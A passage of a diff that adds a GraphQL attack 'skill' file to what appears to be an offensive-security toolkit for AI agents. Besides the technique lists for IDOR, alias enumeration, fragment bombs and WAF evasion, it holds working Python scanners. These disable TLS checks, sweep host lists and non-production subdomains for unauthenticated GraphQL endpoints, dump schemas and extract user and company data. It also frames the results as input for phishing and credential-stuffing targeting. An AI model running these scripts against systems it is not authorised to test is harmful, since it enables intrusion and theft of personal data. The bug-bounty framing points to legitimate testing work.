  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,648 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: graphql
5
+ description: GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass
6
+ ---
7
+
8
+ # GraphQL
9
+
10
+ Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.
11
+
12
+ ## Attack Surface
13
+
14
+ **Operations**
15
+ - Queries, mutations, subscriptions
16
+ - Persisted queries / Automatic Persisted Queries (APQ)
17
+
18
+ **Transports**
19
+ - HTTP POST/GET with `application/json` or `application/graphql`
20
+ - WebSocket: graphql-ws, graphql-transport-ws protocols
21
+ - Multipart for file uploads
22
+
23
+ **Schema Features**
24
+ - Introspection (`__schema`, `__type`)
25
+ - Directives: `@defer`, `@stream`, custom auth directives (@auth, @private)
26
+ - Custom scalars: Upload, JSON, DateTime
27
+ - Relay: global node IDs, connections/cursors, interfaces/unions
28
+
29
+ **Architecture**
30
+ - Federation (Apollo, GraphQL Mesh): `_service`, `_entities`
31
+ - Gateway vs subgraph authorization boundaries
32
+
33
+ ## Reconnaissance
34
+
35
+ **Endpoint Discovery**
36
+ ```
37
+ POST /graphql {"query":"{__typename}"}
38
+ POST /api/graphql {"query":"{__typename}"}
39
+ POST /v1/graphql {"query":"{__typename}"}
40
+ POST /gql {"query":"{__typename}"}
41
+ GET /graphql?query={__typename}
42
+ ```
43
+
44
+ Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).
45
+
46
+ **Schema Acquisition**
47
+
48
+ If introspection enabled:
49
+ ```graphql
50
+ {__schema{types{name fields{name args{name}}}}}
51
+ ```
52
+
53
+ If disabled, infer schema via:
54
+ - `__typename` probes on candidate fields
55
+ - Field suggestion errors (submit near-miss names to harvest suggestions)
56
+ - "Expected one of" errors revealing enum values
57
+ - Type coercion errors exposing field structure
58
+ - Error taxonomy: different codes for "unknown field" vs "unauthorized field" reveal existence
59
+
60
+ **Schema Mapping**
61
+
62
+ Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.
63
+
64
+ ## Key Vulnerabilities
65
+
66
+ ### Authorization Bypass
67
+
68
+ **Field-Level IDOR**
69
+
70
+ Test with aliases comparing owned vs foreign objects in single request:
71
+ ```graphql
72
+ query {
73
+ own: order(id:"OWNED_ID") { id total owner { email } }
74
+ foreign: order(id:"FOREIGN_ID") { id total owner { email } }
75
+ }
76
+ ```
77
+
78
+ **Edge/Child Resolver Gaps**
79
+
80
+ Parent resolver checks auth, child resolver assumes it's already validated:
81
+ ```graphql
82
+ query {
83
+ user(id:"FOREIGN") {
84
+ id
85
+ privateData { secrets } # Child may skip auth check
86
+ }
87
+ }
88
+ ```
89
+
90
+ **Relay Node Resolution**
91
+
92
+ Decode base64 global IDs, swap type/id pairs:
93
+ ```graphql
94
+ query {
95
+ node(id:"VXNlcjoxMjM=") { ... on User { email } }
96
+ }
97
+ ```
98
+ Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.
99
+
100
+ **Mutation Bypass**
101
+ - Probe mutations for partial updates bypassing validation (JSON Merge Patch semantics)
102
+ - Test mutations that accept extra fields passed to downstream logic
103
+
104
+ ### Batching & Alias Abuse
105
+
106
+ **Enumeration via Aliases**
107
+ ```graphql
108
+ query {
109
+ u1:user(id:"1"){email}
110
+ u2:user(id:"2"){email}
111
+ u3:user(id:"3"){email}
112
+ }
113
+ ```
114
+ Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.
115
+
116
+ **Array Batching**
117
+
118
+ If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.
119
+
120
+ ### Input Manipulation
121
+
122
+ **Type Confusion**
123
+ ```
124
+ {id: 123} vs {id: "123"}
125
+ {id: [123]} vs {id: null}
126
+ {id: 0} vs {id: -1}
127
+ ```
128
+
129
+ **Duplicate Keys**
130
+ ```json
131
+ {"id": 1, "id": 2}
132
+ ```
133
+ Parser precedence varies; may bypass validation. Also test default argument values.
134
+
135
+ **Extra Fields**
136
+
137
+ Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic.
138
+
139
+ ### Cursor Manipulation
140
+
141
+ Decode cursors (usually base64) to:
142
+ - Manipulate offsets/IDs
143
+ - Skip filters
144
+ - Cross ownership boundaries
145
+
146
+ ### Directive Abuse
147
+
148
+ **@defer/@stream**
149
+ ```graphql
150
+ query {
151
+ me { id }
152
+ ... @defer { adminPanel { secrets } }
153
+ }
154
+ ```
155
+ May return gated data in incremental delivery. Confirm server supports incremental delivery.
156
+
157
+ **Custom Directives**
158
+
159
+ @auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.
160
+
161
+ ### Complexity Attacks
162
+
163
+ **Fragment Bombs**
164
+ ```graphql
165
+ fragment x on User { friends { ...x } }
166
+ query { me { ...x } }
167
+ ```
168
+ Test depth/complexity limits, query cost analyzers, timeouts.
169
+
170
+ **Wide Selection Sets**
171
+
172
+ Abuse selection sets and fragments to force overfetching of sensitive subfields.
173
+
174
+ ### Federation Exploitation
175
+
176
+ **SDL Exposure**
177
+ ```graphql
178
+ query { _service { sdl } }
179
+ ```
180
+
181
+ **Entity Materialization**
182
+ ```graphql
183
+ query {
184
+ _entities(representations:[
185
+ {__typename:"User", id:"TARGET_ID"}
186
+ ]) { ... on User { email roles } }
187
+ }
188
+ ```
189
+ Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.
190
+
191
+ ### Subscription Security
192
+
193
+ - Authorization at handshake only, not per-message
194
+ - Subscribe to other users' channels via filter args
195
+ - Cross-tenant event leakage
196
+ - Abuse filter args in subscription resolvers to reference foreign IDs
197
+
198
+ ### Persisted Query Abuse
199
+
200
+ - APQ hashes leaked from client bundles
201
+ - Replay privileged operations with attacker variables
202
+ - Hash bruteforce for common operations
203
+ - Validate hash→operation mapping enforces principal and operation allowlists
204
+
205
+ ### CORS & CSRF
206
+
207
+ - Cookie-auth with GET queries enables CSRF on mutations via query parameters
208
+ - GraphiQL/Playground cross-origin with credentials leaks data
209
+ - Missing SameSite and origin validation
210
+
211
+ ### File Uploads
212
+
213
+ GraphQL multipart spec:
214
+ - Multiple Upload scalars
215
+ - Filename/path traversal tricks
216
+ - Unexpected content-types, oversize chunks
217
+ - Server-side ownership/scoping for returned URLs
218
+
219
+ ## WAF Evasion
220
+
221
+ **Query Reshaping**
222
+ - Comments and block strings (`"""..."""`)
223
+ - Unicode escapes
224
+ - Alias/fragment indirection
225
+ - JSON variables vs inline args
226
+ - GET vs POST vs `application/graphql`
227
+
228
+ **Fragment Splitting**
229
+
230
+ Split fields across fragments and inline spreads to avoid naive signatures:
231
+ ```graphql
232
+ fragment a on User { email }
233
+ fragment b on User { password }
234
+ query { me { ...a ...b } }
235
+ ```
236
+
237
+ ## Bypass Techniques
238
+
239
+ **Transport Switching**
240
+ ```
241
+ Content-Type: application/json
242
+ Content-Type: application/graphql
243
+ Content-Type: multipart/form-data
244
+ GET with query params
245
+ ```
246
+
247
+ **Timing & Rate Limits**
248
+ - HTTP/2 multiplexing and connection reuse to widen timing windows
249
+ - Batching to bypass rate limits
250
+
251
+ **Naming Tricks**
252
+ - Case/underscore variations
253
+ - Unicode homoglyphs (server-dependent)
254
+ - Aliases masking sensitive field names
255
+
256
+ **Cache Confusion**
257
+ - CDN caching without Vary on Authorization
258
+ - Variable manipulation affecting cache keys
259
+ - Redirects and 304/206 behaviors leaking partial responses
260
+
261
+ ---
262
+
263
+ ## Path-Level Auth Gate Bypass (HIGH PRIORITY)
264
+
265
+ **The core issue**: Reverse proxies and load balancers apply HTTP Basic Authentication (or IP allowlists) at path `/` while explicitly excluding `/graphql`. The `/graphql` path is never covered by the auth gate, leaving the full API accessible unauthenticated. This is one of the highest-yield GraphQL findings in bug bounty because it is systematic across all non-production environments.
266
+
267
+ **Why it happens**: Teams configure Basic Auth in nginx/Caddy/Traefik to protect the frontend, then forget that the API path is a sibling route. Example misconfiguration:
268
+
269
+ ```nginx
270
+ location / {
271
+ auth_basic "Restricted";
272
+ auth_basic_user_file /etc/.htpasswd;
273
+ }
274
+ # No auth_basic on /graphql — missed entirely
275
+ location /graphql {
276
+ proxy_pass http://backend:4000;
277
+ }
278
+ ```
279
+
280
+ ---
281
+
282
+ ### Step 1 — Identify Candidates (Non-prod with 401 gates)
283
+
284
+ Non-production environments are the primary target. They almost always have Basic Auth on `/` but inconsistent coverage of API paths.
285
+
286
+ Target naming patterns to look for:
287
+ ```
288
+ dev.<domain> dev2.<domain>
289
+ ppd.<domain> ppe.<domain>
290
+ staging.<domain> stg.<domain>
291
+ test.<domain> tst.<domain>
292
+ uat.<domain> qa.<domain>
293
+ preview.<domain> pre.<domain>
294
+ sandbox.<domain> demo.<domain>
295
+ beta.<domain> rc.<domain>
296
+ ```
297
+
298
+ Automated candidate discovery from live hosts:
299
+ ```python
300
+ #!/usr/bin/env python3
301
+ """
302
+ Scan a list of hosts, find those returning 401 on /, then test /graphql.
303
+ Usage: python3 graphql_auth_bypass.py -f live_hosts.txt
304
+ """
305
+ import sys, ssl, json, argparse
306
+ from urllib.request import urlopen, Request
307
+ from urllib.error import HTTPError, URLError
308
+ from concurrent.futures import ThreadPoolExecutor, as_completed
309
+
310
+ ctx = ssl.create_default_context()
311
+ ctx.check_hostname = False
312
+ ctx.verify_mode = ssl.CERT_NONE
313
+
314
+ GRAPHQL_PATHS = ["/graphql", "/api/graphql", "/v1/graphql", "/gql", "/query"]
315
+ UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
316
+ PROBE = json.dumps({"query": "{__typename}"}).encode()
317
+
318
+ def check_root_auth(base):
319
+ """Returns True if root / returns 401."""
320
+ try:
321
+ req = Request(base + "/", headers={"User-Agent": UA})
322
+ urlopen(req, context=ctx, timeout=10)
323
+ return False # 200 = no auth gate
324
+ except HTTPError as e:
325
+ return e.code == 401
326
+ except URLError:
327
+ return False
328
+
329
+ def test_graphql_bypass(base, path):
330
+ """POST to /graphql — returns (status, typename) or None."""
331
+ try:
332
+ req = Request(
333
+ base + path,
334
+ data=PROBE,
335
+ headers={"Content-Type": "application/json", "User-Agent": UA}
336
+ )
337
+ resp = urlopen(req, context=ctx, timeout=10)
338
+ body = json.loads(resp.read())
339
+ typename = body.get("data", {}).get("__typename", "")
340
+ return resp.status, typename
341
+ except HTTPError as e:
342
+ return e.code, None
343
+ except Exception:
344
+ return None, None
345
+
346
+ def scan_host(base):
347
+ if not check_root_auth(base):
348
+ return None # No 401 gate, skip
349
+ results = []
350
+ for path in GRAPHQL_PATHS:
351
+ status, typename = test_graphql_bypass(base, path)
352
+ if status == 200 and typename:
353
+ results.append({
354
+ "host": base,
355
+ "path": path,
356
+ "status": status,
357
+ "typename": typename,
358
+ "finding": "AUTH_GATE_BYPASS"
359
+ })
360
+ return results if results else None
361
+
362
+ parser = argparse.ArgumentParser()
363
+ parser.add_argument("-f", "--file", required=True)
364
+ args = parser.parse_args()
365
+
366
+ hosts = [l.strip() for l in open(args.file) if l.strip()]
367
+ print(f"[*] Scanning {len(hosts)} hosts for GraphQL auth gate bypass...")
368
+
369
+ with ThreadPoolExecutor(max_workers=20) as ex:
370
+ futures = {ex.submit(scan_host, h): h for h in hosts}
371
+ for fut in as_completed(futures):
372
+ result = fut.result()
373
+ if result:
374
+ for r in result:
375
+ print(f"\n[BYPASS FOUND] {r['host']}{r['path']}")
376
+ print(f" Root / returns 401 (auth gate active)")
377
+ print(f" POST {r['path']} -> HTTP {r['status']}, __typename={r['typename']}")
378
+ ```
379
+
380
+ ---
381
+
382
+ ### Step 2 — Confirm the Bypass
383
+
384
+ Three-step proof chain (each step compounds impact):
385
+
386
+ **Step 2a — Confirm auth gate on root:**
387
+ ```python
388
+ import urllib.request, ssl, urllib.error
389
+
390
+ ctx = ssl.create_default_context()
391
+ ctx.check_hostname = False
392
+ ctx.verify_mode = ssl.CERT_NONE
393
+
394
+ target = "https://dev.target.com"
395
+ try:
396
+ urllib.request.urlopen(target + "/", context=ctx, timeout=10)
397
+ print("No auth gate")
398
+ except urllib.error.HTTPError as e:
399
+ print(f"Root: HTTP {e.code}, WWW-Authenticate: {e.headers.get('WWW-Authenticate')}")
400
+ # Expected: HTTP 401, WWW-Authenticate: Basic realm="Restricted"
401
+ ```
402
+
403
+ **Step 2b — Bypass via /graphql (no Authorization header):**
404
+ ```python
405
+ import json, urllib.request, ssl
406
+
407
+ ctx = ssl.create_default_context()
408
+ ctx.check_hostname = False
409
+ ctx.verify_mode = ssl.CERT_NONE
410
+
411
+ target = "https://dev.target.com"
412
+ payload = json.dumps({"query": "{__typename}"}).encode()
413
+ req = urllib.request.Request(
414
+ target + "/graphql",
415
+ data=payload,
416
+ headers={"Content-Type": "application/json"}
417
+ )
418
+ resp = urllib.request.urlopen(req, context=ctx, timeout=15)
419
+ print(f"HTTP {resp.status}")
420
+ print(json.loads(resp.read()))
421
+ # Expected: HTTP 200, {"data": {"__typename": "Query"}}
422
+ # This is the bypass proof — /graphql returned 200 without any Authorization header
423
+ ```
424
+
425
+ **Step 2c — Confirm introspection enabled (unauthenticated schema disclosure):**
426
+ ```python
427
+ INTROSPECTION = {
428
+ "query": """
429
+ query IntrospectionQuery {
430
+ __schema {
431
+ queryType { name }
432
+ mutationType { name }
433
+ subscriptionType { name }
434
+ types { name kind }
435
+ }
436
+ }
437
+ """
438
+ }
439
+
440
+ payload = json.dumps(INTROSPECTION).encode()
441
+ req = urllib.request.Request(
442
+ target + "/graphql",
443
+ data=payload,
444
+ headers={"Content-Type": "application/json"}
445
+ )
446
+ resp = urllib.request.urlopen(req, context=ctx, timeout=15)
447
+ schema = json.loads(resp.read())
448
+ types = schema.get("data", {}).get("__schema", {}).get("types", [])
449
+ # Flag sensitive-sounding type names
450
+ sensitive = [t["name"] for t in types if any(
451
+ w in t["name"].lower() for w in ["admin", "payment", "billing", "internal", "secret", "token", "credential"]
452
+ )]
453
+ print(f"Total types: {len(types)}")
454
+ print(f"Sensitive-sounding types: {sensitive}")
455
+ ```
456
+
457
+ ---
458
+
459
+ ### Step 3 — Deep Schema Enumeration (Full Introspection)
460
+
461
+ ```python
462
+ FULL_INTROSPECTION = {
463
+ "query": """
464
+ query FullIntrospection {
465
+ __schema {
466
+ queryType { name }
467
+ mutationType { name }
468
+ types {
469
+ name
470
+ kind
471
+ fields(includeDeprecated: true) {
472
+ name
473
+ isDeprecated
474
+ deprecationReason
475
+ args { name type { name kind ofType { name kind } } }
476
+ type { name kind ofType { name kind ofType { name kind } } }
477
+ }
478
+ inputFields { name type { name kind ofType { name kind } } }
479
+ enumValues(includeDeprecated: true) { name }
480
+ }
481
+ }
482
+ }
483
+ """
484
+ }
485
+
486
+ payload = json.dumps(FULL_INTROSPECTION).encode()
487
+ req = urllib.request.Request(
488
+ target + "/graphql",
489
+ data=payload,
490
+ headers={"Content-Type": "application/json"}
491
+ )
492
+ resp = urllib.request.urlopen(req, context=ctx, timeout=30)
493
+ schema = json.loads(resp.read())
494
+
495
+ # Extract all root query fields
496
+ schema_data = schema.get("data", {}).get("__schema", {})
497
+ types_by_name = {t["name"]: t for t in schema_data.get("types", []) if t.get("fields")}
498
+
499
+ query_root = schema_data.get("queryType", {}).get("name", "Query")
500
+ mutation_root = schema_data.get("mutationType", {}).get("name", "Mutation")
501
+
502
+ print(f"\n=== Query fields ({query_root}) ===")
503
+ for f in (types_by_name.get(query_root, {}).get("fields") or []):
504
+ print(f" {f['name']}")
505
+
506
+ print(f"\n=== Mutation fields ({mutation_root}) ===")
507
+ for f in (types_by_name.get(mutation_root, {}).get("fields") or []):
508
+ flag = "[ADMIN?]" if "admin" in f["name"].lower() else ""
509
+ print(f" {flag} {f['name']}")
510
+ ```
511
+
512
+ **What to flag in schema:**
513
+ - Any field with `admin`, `internal`, `system`, `debug`, `config`, `secret` in the name
514
+ - Payment/billing mutations: `charge`, `refund`, `invoice`, `subscription`
515
+ - User/identity operations: `createUser`, `deleteUser`, `updateRole`, `impersonate`
516
+ - Fields that accept IDs with no ownership context in the schema (IDOR candidates)
517
+
518
+ ---
519
+
520
+ ### Step 4 — Unauthenticated Data Extraction
521
+
522
+ After schema enumeration, identify queries that return real data without authentication. Prioritize:
523
+
524
+ **User/account data:**
525
+ ```python
526
+ QUERIES_TO_PROBE = [
527
+ # Generic patterns — substitute real field names from schema
528
+ '{ users(limit: 3) { edges { node { id email role } } } }',
529
+ '{ me { id email role permissions } }',
530
+ '{ user(id: "1") { id email role } }',
531
+ '{ accounts(first: 3) { nodes { id email } } }',
532
+ ]
533
+
534
+ for q in QUERIES_TO_PROBE:
535
+ try:
536
+ payload = json.dumps({"query": q}).encode()
537
+ req = urllib.request.Request(
538
+ target + "/graphql",
539
+ data=payload,
540
+ headers={"Content-Type": "application/json"}
541
+ )
542
+ resp = urllib.request.urlopen(req, context=ctx, timeout=10)
543
+ body = json.loads(resp.read())
544
+ if body.get("data") and not body.get("errors"):
545
+ print(f"[DATA RETURNED] {q[:60]}")
546
+ print(f" Response: {json.dumps(body['data'])[:200]}")
547
+ except Exception as e:
548
+ pass
549
+ ```
550
+
551
+ **Configuration/business data (adapt field names from schema):**
552
+ ```python
553
+ # After schema enumeration identifies real field names, test:
554
+ COMPANY_QUERY = """
555
+ query {
556
+ companies(limit: 5, page: 1) {
557
+ count
558
+ edges {
559
+ node {
560
+ id
561
+ name
562
+ domain
563
+ supportPhone
564
+ registrationEmailPattern
565
+ registrationTokenNeeded
566
+ }
567
+ }
568
+ }
569
+ }
570
+ """
571
+ # If this returns count + real company nodes = unauthenticated business data exposure
572
+ ```
573
+
574
+ **Impact escalation from data returned:**
575
+ - Company/partner domains → phishing target list
576
+ - Registration email patterns → credential stuffing scope
577
+ - `registrationTokenNeeded: false` → no invite required for registration
578
+ - Admin mutation names exposed → confirm which operations are attack-reachable
579
+
580
+ ---
581
+
582
+ ### Step 5 — Multi-Environment Cross-Check
583
+
584
+ If dev.target.com is bypassed, test ALL non-production variants — they often share the same misconfiguration:
585
+
586
+ ```python
587
+ ENVS = ["dev", "ppd", "ppe", "staging", "stg", "test", "uat", "qa", "preview", "sandbox", "beta"]
588
+ BASE_DOMAIN = "target.com"
589
+
590
+ for env in ENVS:
591
+ host = f"https://{env}.{BASE_DOMAIN}"
592
+ # Run check_root_auth + test_graphql_bypass for each
593
+ ```
594
+
595
+ Each additional affected environment compounds the impact and strengthens the finding.
596
+
597
+ ---
598
+
599
+ ### Combined Finding Template
600
+
601
+ When this pattern is confirmed, the full severity chain is:
602
+
603
+ ```
604
+ HTTP Basic Auth bypass (proxy misconfiguration)
605
+ → Unauthenticated GraphQL access
606
+ → Introspection enabled (schema disclosure)
607
+ → Sensitive resolver names exposed (admin*, payment*)
608
+ → Unauthenticated data extraction from unprotected resolvers
609
+ → Business configuration / PII returned to unauthenticated attacker
610
+ ```
611
+
612
+ **CVSS v3.1 Scoring:**
613
+ - AV:N / AC:L / PR:N / UI:N → Base score 7.5 for data extraction
614
+ - Bump to 8.x if admin mutations are directly accessible
615
+ - Report ALL affected environments (dev + ppd = 2x evidence = stronger case)
616
+
617
+ **Bug Bounty Acceptance Score:**
618
+ - Reproducibility: 10/10 (deterministic, no auth needed)
619
+ - Impact realism: 9/10 (real data returned, introspection enabled)
620
+ - Scope clarity: 8/10 (non-prod in scope if wildcard or explicitly listed)
621
+ - Would this be accepted? **YES** — HIGH severity if data extraction confirmed
622
+
623
+ ---
624
+
625
+ ## Testing Methodology
626
+
627
+ 1. **Fingerprint** - Identify endpoints, transports, stack (Apollo, Hasura, etc.), GraphiQL exposure
628
+ 2. **Auth gate check** - For every host returning 401 on `/`, immediately test `/graphql` without credentials
629
+ 3. **Non-prod sweep** - Enumerate dev.*, ppd.*, staging.*, uat.* subdomains; they are the primary target for path-level auth bypass
630
+ 4. **Schema mapping** - Introspection or inference to build complete type graph
631
+ 5. **Principal matrix** - Collect tokens for unauth, user, premium, admin roles with at least one valid object ID per subject
632
+ 6. **Field sweep** - Test each resolver with owned vs foreign IDs via aliases in same request
633
+ 7. **Transport parity** - Verify same auth on HTTP, WebSocket, persisted queries
634
+ 8. **Federation probe** - Test `_service` and `_entities` for subgraph auth gaps
635
+ 9. **Edge cases** - Cursors, @defer/@stream, subscriptions, file uploads
636
+
637
+ ## Validation Requirements
638
+
639
+ - `GET / → HTTP 401 (WWW-Authenticate: Basic realm=...)` — auth gate confirmed
640
+ - `POST /graphql → HTTP 200 {"data": {"__typename": "Query"}}` — bypass confirmed (NO Authorization header sent)
641
+ - Introspection result showing sensitive type/mutation names
642
+ - At least one query returning real data without credentials
643
+ - Paired requests (owner vs non-owner) showing unauthorized access for resolver-level IDOR
644
+ - Resolver-level bypass: parent checks present, child field exposes data
645
+ - Transport parity proof: HTTP and WebSocket for same operation
646
+ - Federation bypass: `_entities` accessing data without subgraph auth
647
+ - Minimal payloads with exact selection sets and variable shapes
648
+ - Document exact resolver paths that missed enforcement